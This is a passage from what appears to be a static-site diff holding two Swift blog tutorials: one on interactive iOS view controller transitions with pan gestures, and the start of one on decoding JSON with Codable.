+            return //UIViewControllerAnimatedTransitioning animation to apply when pushing
+        }
+        //Returning nil will use the default animation
+        return nil
+    }
+    
+    //Add interactive delegate method:
+    func navigationController(_ navigationController: UINavigationController, interactionControllerFor animationController: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //Cannot determine if it's Pop or Push here, can only judge from the animation itself
+        if animationController is animation applied during push {
+            return //UIPercentDrivenInteractiveTransition interactive control method for push animation
+        } else if animationController is animation applied during return {
+            return //UIPercentDrivenInteractiveTransition interactive control method for pop animation
+        }
+        //Returning nil means no interactive handling
+        return nil
+    }
+}
+

UIViewController (Present/Dismiss):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+
import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    override func viewDidLoad() {
+        super.viewDidLoad()
+
+        self.modalPresentationStyle = .custom
+        self.transitioningDelegate = self
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //return nil means no interactive handling
+        return //UIPercentDrivenInteractiveTransition method for interactive control during Dismiss
+    }
+    
+    func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //return nil means no interactive handling
+        return //UIPercentDrivenInteractiveTransition method for interactive control during Present
+    }
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //return nil means using default animation
+        return //UIViewControllerAnimatedTransitioning animation to apply during Present
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        //return nil means using default animation
+        return //UIViewControllerAnimatedTransitioning animation to apply during Dismiss
+    }
+    
+}
+

⚠️⚠️⚠️⚠️⚠️

If you implement interactionControllerFor… methods, even if the animation is non-interactive (e.g., self.present system call transition), these methods will still be called for handling; we need to control the wantsInteractiveStart parameter inside (introduced below).

Animation Interactive Handling Class UIPercentDrivenInteractiveTransition:

Next, let’s talk about the core implementation of UIPercentDrivenInteractiveTransition.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+
import UIKit
+
+class PullToDismissInteractive: UIPercentDrivenInteractiveTransition {
+    
+    //UIView to add gesture control interaction
+    private var interactiveView: UIView!
+    //Current UIViewController
+    private var presented: UIViewController!
+    //Threshold percentage to complete execution, otherwise revert
+    private let thredhold: CGFloat = 0.4
+    
+    //Different transition effects may require different information, customizable
+    convenience init(_ presented: UIViewController, _ interactiveView: UIView) {
+        self.init()
+        self.interactiveView = interactiveView
+        self.presented = presented
+        setupPanGesture()
+        
+        //Default value, informs the system that the current animation is non-interactive
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        panGesture.delegate = self
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        switch sender.state {
+        case .began:
+            //Reset gesture position
+            sender.setTranslation(.zero, in: interactiveView)
+            //Inform the system that the current animation is triggered by a gesture
+            wantsInteractiveStart = true
+            
+            //Call the transition effect to be performed during gesture began (won't execute directly, system will hold it)
+            //Then the corresponding animation for the transition effect will jump to UIViewControllerAnimatedTransitioning for handling
+            // animated must be true otherwise no animation
+            
+            //Dismiss:
+            self.presented.dismiss(animated: true, completion: nil)
+            //Present:
+            //self.present(presenting,animated: true)
+            //Push:
+            //self.navigationController.push(presenting)
+            //Pop:
+            //self.navigationController.pop(animated: true)
+        
+        case .changed:
+            //Calculate the gesture sliding position corresponding to the animation completion percentage 0~1
+            //Actual calculation method varies depending on the animation type
+            let translation = sender.translation(in: interactiveView)
+            guard translation.y >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+            let percentage = abs(translation.y / interactiveView.bounds.height)
+            
+            //Update UIViewControllerAnimatedTransitioning animation percentage
+            update(percentage)
+        case .ended:
+            //When the gesture is released, check if the completion percentage exceeds the threshold
+            wantsInteractiveStart = false
+            if percentComplete >= thredhold {
+              //Yes, inform the animation to complete
+              finish()
+            } else {
+              //No, inform the animation to revert
+              cancel()
+            }
+        case .cancelled, .failed:
+          //On cancel or error
+          wantsInteractiveStart = false
+          cancel()
+        default:
+          wantsInteractiveStart = false
+          return
+        }
+    }
+}
+
+//When there are UIScrollView components (UITableView/UICollectionView/WKWebView....) inside UIViewController, prevent gesture conflicts
+//When the UIScrollView component inside has scrolled to the top, enable the gesture operation for interactive transition
+extension PullToDismissInteractive: UIGestureRecognizerDelegate {
+    func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
+        if let scrollView = otherGestureRecognizer.view as? UIScrollView {
+            if scrollView.contentOffset.y <= 0 {
+                return true
+            } else {
+                return false
+            }
+        }
+        return true
+    }
+    
+}
+

*About the reason for sender.setTranslation( .zero, in:interactiveView) supplement point I<

We need to implement different Classes based on different gesture operation effects; if it is the same continuous (Present+Dismii) operation, it can also be wrapped together.

⚠️⚠️⚠️⚠️⚠️

wantsInteractiveStart must be in a compliant state. If wantsInteractiveStart = false is notified during interactive animation, it will also cause the screen to freeze;

You need to exit and re-enter the APP to restore it.

⚠️⚠️⚠️⚠️⚠️

interactiveView must also be isUserInteractionEnabled = true

You can set it more to ensure it!

Combination

When we set up this Delegate and build the Class, we can achieve the functionality we want. Let’s not waste any more time and go straight to the completed example.

Custom pull-down to close page effect

The advantage of custom pull-down is that it supports all iOS versions on the market, can control the overlay percentage, control the trigger close position, and customize the animation effect.

Click the top right + Present page

Click the top right + Present page

This is an example of HomeViewController presenting HomeAddViewController and HomeAddViewController dismissing.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+
import UIKit
+
+class HomeViewController: UIViewController {
+
+    @IBAction func addButtonTapped(_ sender: Any) {
+        guard let homeAddViewController = UIStoryboard(name: "Main", bundle: nil).instantiateViewController(identifier: "HomeAddViewController") as? HomeAddViewController else {
+            return
+        }
+        
+        //transitioningDelegate can be specified to handle the target ViewController or the current ViewController
+        homeAddViewController.transitioningDelegate = homeAddViewController
+        homeAddViewController.modalPresentationStyle = .custom
+        self.present(homeAddViewController, animated: true, completion: nil)
+    }
+
+}
+import UIKit
+
+class HomeAddViewController: UIViewController {
+
+    private var pullToDismissInteractive: PullToDismissInteractive!
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        //Bind transition interactive information
+        self.pullToDismissInteractive = PullToDismissInteractive(self, self.view)
+    }
+    
+}
+
+extension HomeAddViewController: UIViewControllerTransitioningDelegate {
+    
+    func interactionControllerForDismissal(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        return pullToDismissInteractive
+    }
+    
+    func animationController(forPresented presented: UIViewController, presenting: UIViewController, source: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        return PresentAndDismissTransition(false)
+    }
+    
+    func animationController(forDismissed dismissed: UIViewController) -> UIViewControllerAnimatedTransitioning? {
+        return PresentAndDismissTransition(true)
+    }
+    
+    func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
+        //No Present operation gesture here
+        return nil
+    }
+}
+import UIKit
+
+class PullToDismissInteractive: UIPercentDrivenInteractiveTransition {
+    
+    private var interactiveView: UIView!
+    private var presented: UIViewController!
+    private var completion: (() -> Void)?
+    private let threshold: CGFloat = 0.4
+    
+    convenience init(_ presented: UIViewController, _ interactiveView: UIView, _ completion: (() -> Void)? = nil) {
+        self.init()
+        self.interactiveView = interactiveView
+        self.completion = completion
+        self.presented = presented
+        setupPanGesture()
+        
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        panGesture.delegate = self
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        switch sender.state {
+        case .began:
+            sender.setTranslation(.zero, in: interactiveView)
+            wantsInteractiveStart = true
+            
+            self.presented.dismiss(animated: true, completion: self.completion)
+        case .changed:
+            let translation = sender.translation(in: interactiveView)
+            guard translation.y >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+
+            let percentage = abs(translation.y / interactiveView.bounds.height)
+            update(percentage)
+        case .ended:
+            if percentComplete >= threshold {
+                finish()
+            } else {
+                wantsInteractiveStart = false
+                cancel()
+            }
+        case .cancelled, .failed:
+            wantsInteractiveStart = false
+            cancel()
+        default:
+            wantsInteractiveStart = false
+            return
+        }
+    }
+}
+
+extension PullToDismissInteractive: UIGestureRecognizerDelegate {
+    func gestureRecognizer(_ gestureRecognizer: UIGestureRecognizer, shouldRecognizeSimultaneouslyWith otherGestureRecognizer: UIGestureRecognizer) -> Bool {
+        if let scrollView = otherGestureRecognizer.view as? UIScrollView {
+            if scrollView.contentOffset.y <= 0 {
+                return true
+            } else {
+                return false
+            }
+        }
+        return true
+    }
+    
+}
+

With the above, you can achieve the effect shown in the image. The code here is quite messy due to the simplicity of the tutorial, and there is much room for optimization and integration.

Worth mentioning…

iOS ≥ 13, if the View contains a UITextView, during the pull-down close animation, the text content of the UITextView will be blank; causing a flicker in the experience (video example)

The solution here is to use snapshotView(afterScreenUpdates:) to replace the original View layer during the animation.

Full-page right swipe back

When looking for a solution to enable right swipe back gesture for the entire screen, I found a Tricky method: Directly add a UIPanGestureRecognizer to the screen and then set the target and action to the native interactivePopGestureRecognizer, action:handleNavigationTransition. *Detailed method click me<

That’s right! It looks like a Private API, and it feels like it might get rejected during review; also, it’s uncertain if it works with Swift, as it might use Runtime features specific to Objective-C.

Let’s go the proper way:

Using the same method as in this article, we handle the navigationController POP back ourselves; add a full-page right swipe gesture control with a custom right swipe animation!

Other parts are omitted, only the key animation and interaction handling class is posted:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+
import UIKit
+
+class SwipeBackInteractive: UIPercentDrivenInteractiveTransition {
+    
+    private var interactiveView: UIView!
+    private var navigationController: UINavigationController!
+
+    private let threshold: CGFloat = 0.4
+    
+    convenience init(_ navigationController: UINavigationController, _ interactiveView: UIView) {
+        self.init()
+        self.interactiveView = interactiveView
+        
+        self.navigationController = navigationController
+        setupPanGesture()
+        
+        wantsInteractiveStart = false
+    }
+
+    private func setupPanGesture() {
+        let panGesture = UIPanGestureRecognizer(target: self, action: #selector(handlePan(_:)))
+        panGesture.maximumNumberOfTouches = 1
+        interactiveView.addGestureRecognizer(panGesture)
+    }
+
+    @objc func handlePan(_ sender: UIPanGestureRecognizer) {
+        
+        switch sender.state {
+        case .began:
+            sender.setTranslation(.zero, in: interactiveView)
+            wantsInteractiveStart = true
+            
+            self.navigationController.popViewController(animated: true)
+        case .changed:
+            let translation = sender.translation(in: interactiveView)
+            guard translation.x >= 0 else {
+                sender.setTranslation(.zero, in: interactiveView)
+                return
+            }
+
+            let percentage = abs(translation.x / interactiveView.bounds.width)
+            update(percentage)
+        case .ended:
+            if percentComplete >= threshold {
+                finish()
+            } else {
+                wantsInteractiveStart = false
+                cancel()
+            }
+        case .cancelled, .failed:
+            wantsInteractiveStart = false
+            cancel()
+        default:
+            wantsInteractiveStart = false
+            return
+        }
+    }
+}
+

Pull-up fade-in UIViewController

On the View, pull up to fade in + pull down to close, which creates a transition effect similar to Spotify’s player!

This part is more tedious, but the principle is the same. I won’t post it here, but interested friends can refer to the GitHub example content.

One thing to note is that when pulling up to fade in, the animation must ensure that it uses “.curveLinear” linear, otherwise there will be a problem where the pull-up does not follow the hand; the degree of pull and the displayed position are not proportional.

Completed!

Completed Image

Completed Image

This article is very long and took me a long time to organize and produce. Thank you for your patience in reading.

Full GitHub example download:

References:

  1. Draggable view controller? Interactive view controller!
  2. Systematic study of iOS animations part four: View controller transition animations
  3. Systematic study of iOS animations part five: Using UIViewPropertyAnimator
  4. Using UIPresentationController to write a simple and beautiful bottom pop-up control (Simply for Present animation effects, you can directly use this)

For elegant code encapsulation references:

  1. Swift: https://github.com/Kharauzov/SwipeableCards
  2. Objective-C: https://github.com/saiday/DraggableViewControllerDemo

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS Deferred Deep Link Implementation (Swift)

Mi Home APP / Xiao Ai Speaker Region Issues

diff --git a/posts/1aa2f8445642/index.html b/posts/1aa2f8445642/index.html new file mode 100644 index 0000000000..2afb798bc0 --- /dev/null +++ b/posts/1aa2f8445642/index.html @@ -0,0 +1,1047 @@ + Real-world Decode Issues with Codable | ZhgChgLi
Home Real-world Decode Issues with Codable
Post
Cancel

Real-world Decode Issues with Codable

Real-world Decode Issues with Codable (Part 1)

From basic to advanced, deeply using Decodable to meet all possible problem scenarios

Photo by [Gustas Brazaitis](https://unsplash.com/@gustasbrazaitis){:target="_blank"}

Photo by Gustas Brazaitis

Preface

Due to the backend API upgrade, we need to adjust the API processing architecture. Recently, we took this opportunity to update the original network processing architecture written in Objective-C to Swift. Due to the different languages, it is no longer suitable to use the original Restkit to handle our network layer applications. However, it must be said that Restkit’s functionality is very powerful, and it was used very effectively in the project with almost no major issues. But it is relatively cumbersome, almost no longer maintained, and purely Objective-C. It will inevitably need to be replaced in the future.

Restkit almost handled all the network request-related functions we needed, from basic network processing, API calls, network processing, to response processing JSON String to Object, and even storing objects into Core Data. It was a framework that could handle ten tasks at once.

With the evolution of the times, the current frameworks no longer focus on an all-in-one package but more on flexibility, lightness, and combination, increasing more flexibility and creating more variations. Therefore, when replacing it with Swift, we chose to use Moya as the network processing part of the package, and other functions we needed were combined in other ways.

Main Content

For the JSON String to Object Mapping part, we use Swift’s built-in Codable (Decodable) protocol & JSONDecoder for processing. We split the Entity/Model to enhance responsibility separation, operation, and readability. Additionally, we also need to consider the code base mixing Objective-C and Swift.

* The Encodable part is omitted, and the examples only show the implementation of Decodable. They are similar; if you can decode, you can also encode.

Getting Started

Assume our initial API Response JSON String is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
{
+  "id": 123456,
+  "comment": "It's Accusefive, not Five Accuse!",
+  "target_object": {
+    "type": "song",
+    "id": 99,
+    "name": "Thinking of You Under the Stars"
+  },
+  "commenter": {
+    "type": "user",
+    "id": 1,
+    "name": "zhgchgli",
+    "email": "zhgchgli@gmail.com"
+  }
+}
+

From the above example, we can split it into three entities & models: User, Song, and Comment. For convenience, let’s write the Entity/Model in the same file.

User:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
// Entity:
+struct UserEntity: Decodable {
+    var id: Int
+    var name: String
+    var email: String
+}
+
+//Model:
+class UserModel: NSObject {
+    init(_ entity: UserEntity) {
+      self.id = entity.id
+      self.name = entity.name
+      self.email = entity.email
+    }
+    var id: Int
+    var name: String
+    var email: String
+}
+

Song:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
// Entity:
+struct SongEntity: Decodable {
+    var id: Int
+    var name: String
+}
+
+//Model:
+class SongModel: NSObject {
+    init(_ entity: SongEntity) {
+      self.id = entity.id
+      self.name = entity.name
+    }
+    var id: Int
+    var name: String
+}
+

Comment:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+
// Entity:
+struct CommentEntity: Decodable {
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: SongEntity
+    var commenter: UserEntity
+}
+
+//Model:
+class CommentModel: NSObject {
+    init(_ entity: CommentEntity) {
+      self.id = entity.id
+      self.comment = entity.comment
+      self.targetObject = SongModel(entity.targetObject)
+      self.commenter = UserModel(entity.commenter)
+    }
+    var id: Int
+    var comment: String
+    var targetObject: SongModel
+    var commenter: UserModel
+}
+

JSONDecoder:

1
+2
+3
+4
+5
+6
+7
+
let jsonString = "{ \"id\": 123456, \"comment\": \"It's Accusefive, not Five Accuse!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"Thinking of You Under the Stars\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } }"
+let jsonDecoder = JSONDecoder()
+do {
+    let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+} catch {
+    print(error)
+}
+

CodingKeys Enum?

When our JSON String Key Name does not match the Entity Object Property Name, we can add a CodingKeys enum internally to map them, as we cannot control the naming convention of the backend data source.

1
+2
+
case PropertyKeyName = "backend_field_name"
+case PropertyKeyName // If not specified, the default is to use PropertyKeyName as the backend field name
+

Once the CodingKeys enum is added, all non-Optional fields must be enumerated, and you cannot just list the keys you want to customize.

Another way is to set the keyDecodingStrategy of JSONDecoder. If the response data fields and property names differ only by snake_case <-> camelCase, you can directly set .keyDecodingStrategy = .convertFromSnakeCase to automatically match the mapping.

1
+2
+3
+
let jsonDecoder = JSONDecoder()
+jsonDecoder.keyDecodingStrategy = .convertFromSnakeCase
+try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+

When the returned data is an array:

1
+2
+3
+
struct SongListEntity: Decodable {
+    var songs:[SongEntity]
+}
+

Adding constraints to String:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
struct SongEntity: Decodable {
+  var id: Int
+  var name: String
+  var type: SongType
+  
+  enum SongType {
+    case rock
+    case pop
+    case country
+  }
+}
+

Applicable to string types with a limited range, writing them as Enums makes it convenient for us to pass and use; if a value appears that is not enumerated, decoding will fail!

Make good use of generics to wrap fixed structures:

Assuming the JSON String returned in multiple instances has a fixed format:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
{
+  "count": 10,
+  "offset": 0,
+  "limit": 0,
+  "results": [
+    {
+      "type": "song",
+      "id": 1,
+      "name": "1"
+    }
+  ]
+}
+

You can wrap it using generics:

1
+2
+3
+4
+5
+6
+
struct PageEntity<E: Decodable>: Decodable {
+    var count: Int
+    var offset: Int
+    var limit: Int
+    var results: [E]
+}
+

Usage: PageEntity<Song>.self

Date/Timestamp automatic decoding:

Set the dateDecodingStrategy of JSONDecoder

  • .secondsSince1970/.millisecondsSince1970: Unix timestamp
  • .deferredToDate: Apple’s timestamp, rarely used, different from Unix timestamp, it starts from 2001/01/01
  • .iso8601: ISO 8601 date format
  • .formatted(DateFormatter): Decode Date according to the passed-in DateFormatter
  • .custom: Custom Date Decode logic

.custom example: Assuming the API returns both YYYY/MM/DD and ISO 8601 formats, both need to be decoded:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
var dateFormatter = DateFormatter()
+var iso8601DateFormatter = ISO8601DateFormatter()
+
+let decoder: JSONDecoder = JSONDecoder()
+decoder.dateDecodingStrategy = .custom({ (decoder) -> Date in
+    let container = try decoder.singleValueContainer()
+    let dateString = try container.decode(String.self)
+    
+    //ISO8601:
+    if let date = iso8601DateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    //YYYY-MM-DD:
+    dateFormatter.dateFormat = "yyyy-MM-dd"
+    if let date = dateFormatter.date(from: dateString) {
+        return date
+    }
+    
+    throw DecodingError.dataCorruptedError(in: container, debugDescription: "Cannot decode date string \(dateString)")
+})
+
+let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!)
+

*DateFormatter is very performance-consuming when initialized, try to reuse it as much as possible.

Basic Decode knowledge:

  1. The field types (struct/class/enum) within the Decodable Protocol must implement the Decodable Protocol; or assign values when initializing the decoder
  2. Decoding will fail if the field types do not match
  3. If a field in the Decodable Object is set to Optional, it is optional; if provided, it will be decoded
  4. Optional fields can accept: JSON String without the field, provided but given as nil
  5. Blank, 0 is not equal to nil, nil is nil; pay attention to weakly typed backend APIs!
  6. By default, if a non-Optional field in the Decodable Object is an enum and the JSON String does not provide it, decoding will fail (will explain how to handle this later)
  7. By default, decoding failure will directly interrupt and exit, it cannot simply skip erroneous data (will explain how to handle this later)

[Left: "" Right: nil](https://josjong.com/2017/10/16/null-vs-empty-strings-why-oracle-was-right-and-apple-is-not/){:target="_blank"}

Left: “” / Right: nil

Advanced Usage

So far, the basic usage has been completed, but the real world is not that simple. Below are some advanced scenarios you might encounter and solutions using Codable. From here on, we can no longer rely on the original Decode to help us with Mapping; we need to implement init(from decoder: Decoder) for custom Decode operations.

*For now, we will only show the Entity part; the Model is not needed yet.

init(from decoder: Decoder)

init decoder, must assign initial values to all non-Optional fields (that’s init!).

When customizing Decode operations, we need to get the container from the decoder to operate on the values. There are three types of containers to retrieve content from.

First type container(keyedBy: CodingKeys.self) Operate according to CodingKeys:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
struct SongEntity: Decodable {
+    var id: Int
+    var name: String
+    
+    enum CodingKeys: String, CodingKey {
+      case id
+      case name
+    }
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        self.id = try container.decode(Int.self, forKey: .id)
+        // Parameter 1 accepts support: class implementing Decodable
+        // Parameter 2 CodingKeys
+        
+        self.name = try container.decode(String.self, forKey: .name)
+    }
+}
+

Second type singleValueContainer Retrieve the whole package for operation (single value):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
enum HandsomeLevel: Decodable {
+    case handsome(String)
+    case normal(String)
+    init(from decoder: Decoder) throws {
+        let container = try decoder.singleValueContainer()
+        let name = try container.decode(String.self)
+        if name == "zhgchgli" {
+            self = .handsome(name)
+        } else {
+            self = .normal(name)
+        }
+    }
+}
+
+struct UserEntity: Decodable {
+    var id: Int
+    var name: HandsomeLevel
+    var email: String
+    
+    enum CodingKeys: String, CodingKey {
+        case id
+        case name
+        case email
+    }
+}
+

Suitable for Associated Value Enum field types, for example, name also carries a level of handsomeness!

Third type unkeyedContainer Treat the whole package as an array:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+
struct ListEntity: Decodable {
+    var items:[Decodable]
+    init(from decoder: Decoder) throws {
+        var unkeyedContainer = try decoder.unkeyedContainer()
+        self.items = []
+        while !unkeyedContainer.isAtEnd {
+            // The internal pointer of unkeyedContainer will automatically point to the next object after the decode operation
+            // Until it points to the end, indicating the traversal is complete
+            if let id = try? unkeyedContainer.decode(Int.self) {
+                items.append(id)
+            } else if let name = try? unkeyedContainer.decode(String.self) {
+                items.append(name)
+            }
+        }
+    }
+}
+
+let jsonString = "[\"test\",1234,5566]"
+let jsonDecoder = JSONDecoder()
+let result = try jsonDecoder.decode(ListEntity.self, from: jsonString.data(using: .utf8)!)
+print(result)
+

Applicable to array fields of variable types.

Under Container, we can also use nestedContainer / nestedUnkeyedContainer to operate on specific fields:

*Flatten data fields (similar to flatMap)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+
struct ListEntity: Decodable {
+    
+    enum CodingKeys: String, CodingKey {
+        case items
+        case date
+        case name
+        case target
+    }
+    
+    enum PredictKey: String, CodingKey {
+        case type
+    }
+    
+    var date: Date
+    var name: String
+    var items: [Decodable]
+    var target: Decodable
+    
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: CodingKeys.self)
+        
+        self.date = try container.decode(Date.self, forKey: .date)
+        self.name = try container.decode(String.self, forKey: .name)
+        
+        let nestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .target)
+        
+        let type = try nestedContainer.decode(String.self, forKey: .type)
+        if type == "song" {
+            self.target = try container.decode(SongEntity.self, forKey: .target)
+        } else {
+            self.target = try container.decode(UserEntity.self, forKey: .target)
+        }
+        
+        var unkeyedContainer = try container.nestedUnkeyedContainer(forKey: .items)
+        self.items = []
+        while !unkeyedContainer.isAtEnd {
+            if let song = try? unkeyedContainer.decode(SongEntity.self) {
+                items.append(song)
+            } else if let user = try? unkeyedContainer.decode(UserEntity.self) {
+                items.append(user)
+            }
+        }
+    }
+}
+

Access and decode objects of different levels. The example demonstrates using nestedContainer to flatten out the type for target/items and then decode accordingly based on the type.

Decode & DecodeIfPresent

  • DecodeIfPresent: Decode only when the response provides the data field (when Codable Property is set to Optional)
  • Decode: Perform the decode operation. If the response does not provide the data field, it will throw an error.

*The above is just a brief introduction to the methods and functions of init decoder and container. It’s okay if you don’t understand; we’ll dive directly into real-world scenarios and experience the combined operations in the examples.

Real-world Scenario

Returning to the original example JSON String.

Scenario 1. Suppose today the comment could be on a song or a person. The targetObject field could be User or Song. How should we handle it?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
{
+  "results": [
+    {
+      "id": 123456,
+      "comment": "It's Accusefive, not Five Accuse!",
+      "target_object": {
+        "type": "song",
+        "id": 99,
+        "name": "Thinking of You Under the Stars"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli",
+        "email": "zhgchgli@gmail.com"
+      }
+    },
+    {
+      "id": 55,
+      "comment": "66666!",
+      "target_object": {
+        "type": "user",
+        "id": 1,
+        "name": "zhgchgli"
+      },
+      "commenter": {
+        "type": "user",
+        "id": 2,
+        "name": "aaaa",
+        "email": "aaaa@gmail.com"
+      }
+    }
+  ]
+}
+

Method a.

Using Enum as a container for Decode.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+
struct CommentEntity: Decodable {
+    
+    enum CodingKeys: String, CodingKey {
+      case id
+      case comment
+      case targetObject = "target_object"
+      case commenter
+    }
+    
+    var id: Int
+    var comment: String
+    var targetObject: TargetObject
+    var commenter: UserEntity
+    
+    enum TargetObject: Decodable {
+        case song(SongEntity)
+        case user(UserEntity)
+        
+        enum PredictKey: String, CodingKey {
+            case type
+        }
+        
+        enum TargetObjectType: String, Decodable {
+            case song
+            case user
+        }
+        
+        init(from decoder: Decoder) throws {
+            let container = try decoder.container(keyedBy: PredictKey.self)
+            let singleValueContainer = try decoder.singleValueContainer()
+            let targetObjectType = try container.decode(TargetObjectType.self, forKey: .type)
+            
+            switch targetObjectType {
+            case .song:
+                let song = try singleValueContainer.decode(SongEntity.self)
+                self = .song(song)
+            case .user:
+                let user = try singleValueContainer.decode(UserEntity.self)
+                self = .user(user)
+            }
+        }
+    }
+}
+

We change the targetObject property to an Associated Value Enum, deciding what content to put inside the Enum during Decode.

The core practice is to create a Decodable Enum as a container, decode it by first extracting the key field (the type field in the example JSON String), and if it is Song, use singleValueContainer to decode the whole package into SongEntity, and similarly for User.

Extract from Enum when using:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
//if case let
+if case let CommentEntity.TargetObject.user(user) = result.targetObject {
+    print(user)
+} else if case let CommentEntity.TargetObject.song(song) = result.targetObject {
+    print(song)
+}
+
+//switch case let
+switch result.targetObject {
+case .song(let song):
+    print(song)
+case .user(let user):
+    print(user)
+}
+

Method b.

Declare the field property as Base Class.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
